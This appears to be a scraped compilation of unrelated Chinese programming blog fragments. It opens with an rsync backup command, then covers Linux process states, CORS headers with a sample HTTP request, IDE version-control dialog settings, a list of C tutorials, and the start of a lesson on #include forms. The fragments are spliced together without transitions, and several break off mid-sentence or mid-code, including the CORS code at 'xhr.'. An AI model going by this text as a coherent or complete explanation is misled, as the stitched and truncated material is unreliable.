sudo rsync -av --delete --rsh=ssh /etc /home /usr/local remote-sys:/backup 参考:rsync命令说明
目录 🙊 进程的理解 🙊🙊 进程状态 🙊💖 进程状态介绍💖 阻塞和挂起的概念💖 如何理解等待的过程💖 挂起 🙊 Linux 进程状态 🙊💖 进程状态介绍💖 进程的 R 状态💖 进程运行状态验证💖 进程的 S(休眠) 状态💖 进程的 D(不可中断休眠) 状态💖 进程的 T(暂停) 状态💖 进程的 X(死亡) 状态 和 Z(僵尸)状态 🙊 孤儿进程 🙊 🙊 进程的理解 🙊 进程 = 内核数据结构 + 自己的代码和数据。
操作系统会新增或者退出进程,在操作系统的一个时间段内存在很多进程,这些进程都由操作系统进行管理,管理的方式就是先描述再组织,操作系统为了管理进程会创建内核数据结构,然后将内核数据结构定义出来的进程对象用特定的方式进行管理。
一般在 windows 中双击程序、在 linux 中 ./ 运行程序都算是运行了一个进程。双击或者 ./ 就会将可执行的二进制文件加载到内存,冯诺依曼体系规定,把软件或自己编写的代码和数据加载到内存后才可以被操作系统调度运行,操作系统会管理这些进程。
进程就是内核数据结构 + 该进程对应的代码和数据。操作系统为了管理进程,就需要从进程中提取进程相关的属性集合,构建出对应的数据结构对象加上从外设中加载进来的该进程匹配的代码和数据。
操作系统对进程的管理并不是对加载到内存中的二进制文件进行管理,而是抽象出进程的数据结构,这个数据结构是一个结构体,包含了进程的内部属性,结构体也可以指向进程加载到内存中所对应的代码和数据。
以后提到进程只关心一个进程所创建的内核数据结构,而它的代码和数据在哪里并不重要。
将所有加载到内存的进程创建出来特定的描述进程的数据结构结构体对象,叫做该进程的进程控制块,简称 PCB,linux 中叫做 task_struct,在内核中 task_struct 就是一个结构体,当加载一个进程的时候,操作系统就会用 task_struct 结构体定义出来一个对象,这个对象含有进程的属性,和加载到内存中的代码和数据的位置。
如果进程太多,操作系统会以链表等数据结构对这些进程进行管理。对进程做管理就变成了对链表的增删查改,这就是对进程的理解。
🙊 进程状态 🙊 💖 进程状态介绍 为了弄明白正在运行的进程是什么意思,我们需要知道进程的不同状态。一个进程可以有几个状态(在 Linux 内核里,进程有时候也叫做任务)。下面的状态在 kernel 源代码里定义:
文章目录 同源策略cors基本概念cors跨域方式简单请求 simple request非简单请求- 预检请求 CORS兼容情况CORS总结 同源策略 在以前的一篇博客中有介绍,同源策略是一种安全机制,为了预防某些恶意的行为,限制浏览器从不同源文档和脚本进行交互的行为。
端口、协议、域名有一个不相同就是跨域。
要求同源的操作有:
ajax,cookie,localStorage,indexDB和dom操作
cors就是解决跨域的一种方式
cors基本概念 基本思想就是使用自定义的 HTTP 头部让浏览器与服务器进行沟通,从而决定请求或响应是应该成功或是失败。
从实现上来说,cors不需要前端进行操作,主要由服务端进行配置。
需要浏览器和服务器同时支持,目前浏览器基本上都支持(IE不能低于IE10)
cors跨域方式 简单请求 simple request 请求方式如下: getposthead http请求头信息为以下字段 AcceptAccept-LanguageContent-LanguageLast-Event-IDContent-Type: text/plainapplication/x-www-form-urlencodedmutipart/form-data 对于简单请求,就是由浏览器直接发出的cors请求,具体地讲,就是在http头部中增加一个origin字段
例:
GET /cors HTTP/1.1 Origin: http://m.xin.com Host: api.alice.com Accept-Language: en-US Connection: keep-alive User-Agent: Mozilla/5.0... 如上面所示,origin字段用来说明,本次的请求来自哪个源(协议+域名+端口),服务器根据这个值来判断是否同意该次请求。
如果origin指定的源不在服务器许可范围内,服务器会返回一个正常的http响应,浏览器发现,这个回应的头信息没有包含Access-Control-Allow-Origin字段(详见下文),就知道出错了,从而抛出一个错误,被XMLHttpRequest的onerror回调函数捕获。注意,这种错误无法通过状态码识别,因为HTTP回应的状态码有可能是200。
如果origin指定的源在服务器许可范围内,则服务器返回的响应头里,会多出以下头信息字段:
Access-Control-Allow-Origin: http://api.bob.com //必须 Access-Control-Allow-Credentials: true //可选 Access-Control-Expose-Headers: FooBar //可选 Content-Type: text/html; charset=utf-8 Access-Control-Allow-Origin
这个字段是必须会有的,他的值要么是请求是origin的值,要么是*,表示接受任意域名的请求。Access-Control-Allow-Credentials
该字段可选,值为布尔值,表示是否允许发送cookie。
默认情况下,Cookie不包括在CORS请求之中。设为true,即表示服务器明确许可,Cookie可以包含在请求中,一起发给服务器。这个值也只能设为true,如果服务器不要浏览器发送Cookie,删除该字段即可。ccess-Control-Expose-Headers
该字段可选。CORS请求时,XMLHttpRequest对象的getResponseHeader()方法只能拿到6个基本字段:Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma。如果想拿到其他字段,就必须在Access-Control-Expose-Headers里面指定。上面的例子指定,getResponseHeader('FooBar')可以返回FooBar字段的值。 注意:
withCredentials 属性
CORS请求默认不发送Cookie和HTTP认证信息。如果要把Cookie发到服务器,一方面要服务器同意,指定Access-Control-Allow-Credentials字段为true。
另一方面需要开发者在Ajax请求中,打开withCredentials 属性
var xhr = new XMLHttpRequest(); xhr.
更新代码关闭/开始弹框 关闭:
方法1:如图勾选
方法2:file–>Setting–>Version control–>confirmation–>show options before–>update
如图取消勾选,反之则打开提示
提交代码关闭/开始检查 file–>Setting–>Version control–>confirmation–>show options before–>Checkout
C语言文章更新目录 C语言学习资源汇总,史上最全面总结,没有之一
C/C++学习资源(百度云盘链接)
计算机二级资料(过级专用)
C语言学习路线(从入门到实战)
编写C语言程序的7个步骤和编程机制
C语言基础-第一个C程序
C语言基础-简单程序分析
VS2019编写简单的C程序示例
简单示例,VS2019调试C语言程序
C语言基础-基本算法
C语言基础-数据类型
C语言中的输入输出函数
C语言流程控制语句
C语言数组——一维数组
C语言数组——二维数组
C语言数组——字符数组
C语言中常用的6个字符串处理函数
精心收集了60个C语言项目源码,分享给大家
C语言核心技术——函数
C代码是怎样跑起来的?
C语言实现字符串的加密和解密
C语言——文件的基本操作
使用C语言链表创建学生信息并且将信息打印输出
图解C语言冒泡排序算法,含代码分析
实例分析C语言中strlen和sizeof的区别
开发C语言的3款神器,VS2019、VScode和IntelliJ Clion
动图图解C语言选择排序算法,含代码分析
动图图解C语言插入排序算法,含代码分析
C语言指针数组和数组指针详解
5分钟搞懂C语言中的传值和传址
C语言——动态数组的创建和使用
C语言实例专栏(持续更新中…)
正文 在实际写代码过程中,关于引入头文件会看到有以下两种方式:
#include<...>#include"..." 那么这两种方式有什么不同呢?
带着这个问题,先来看下面的例子:
在磁盘目录下创建文件test.h和test.c,这里使用的目录是D:\cyyzwsq,如下图
文件里分别编辑以下代码
test.h // // Created by 冲哥 on 2023/02/23. // 微信公众号:C语言中文社区 // 个人站点:www.cyyzwsq.cn // #include <stdio.h> int add(int a, int b){ return a + b; } test.c // // Created by 冲哥 on 2023/02/23.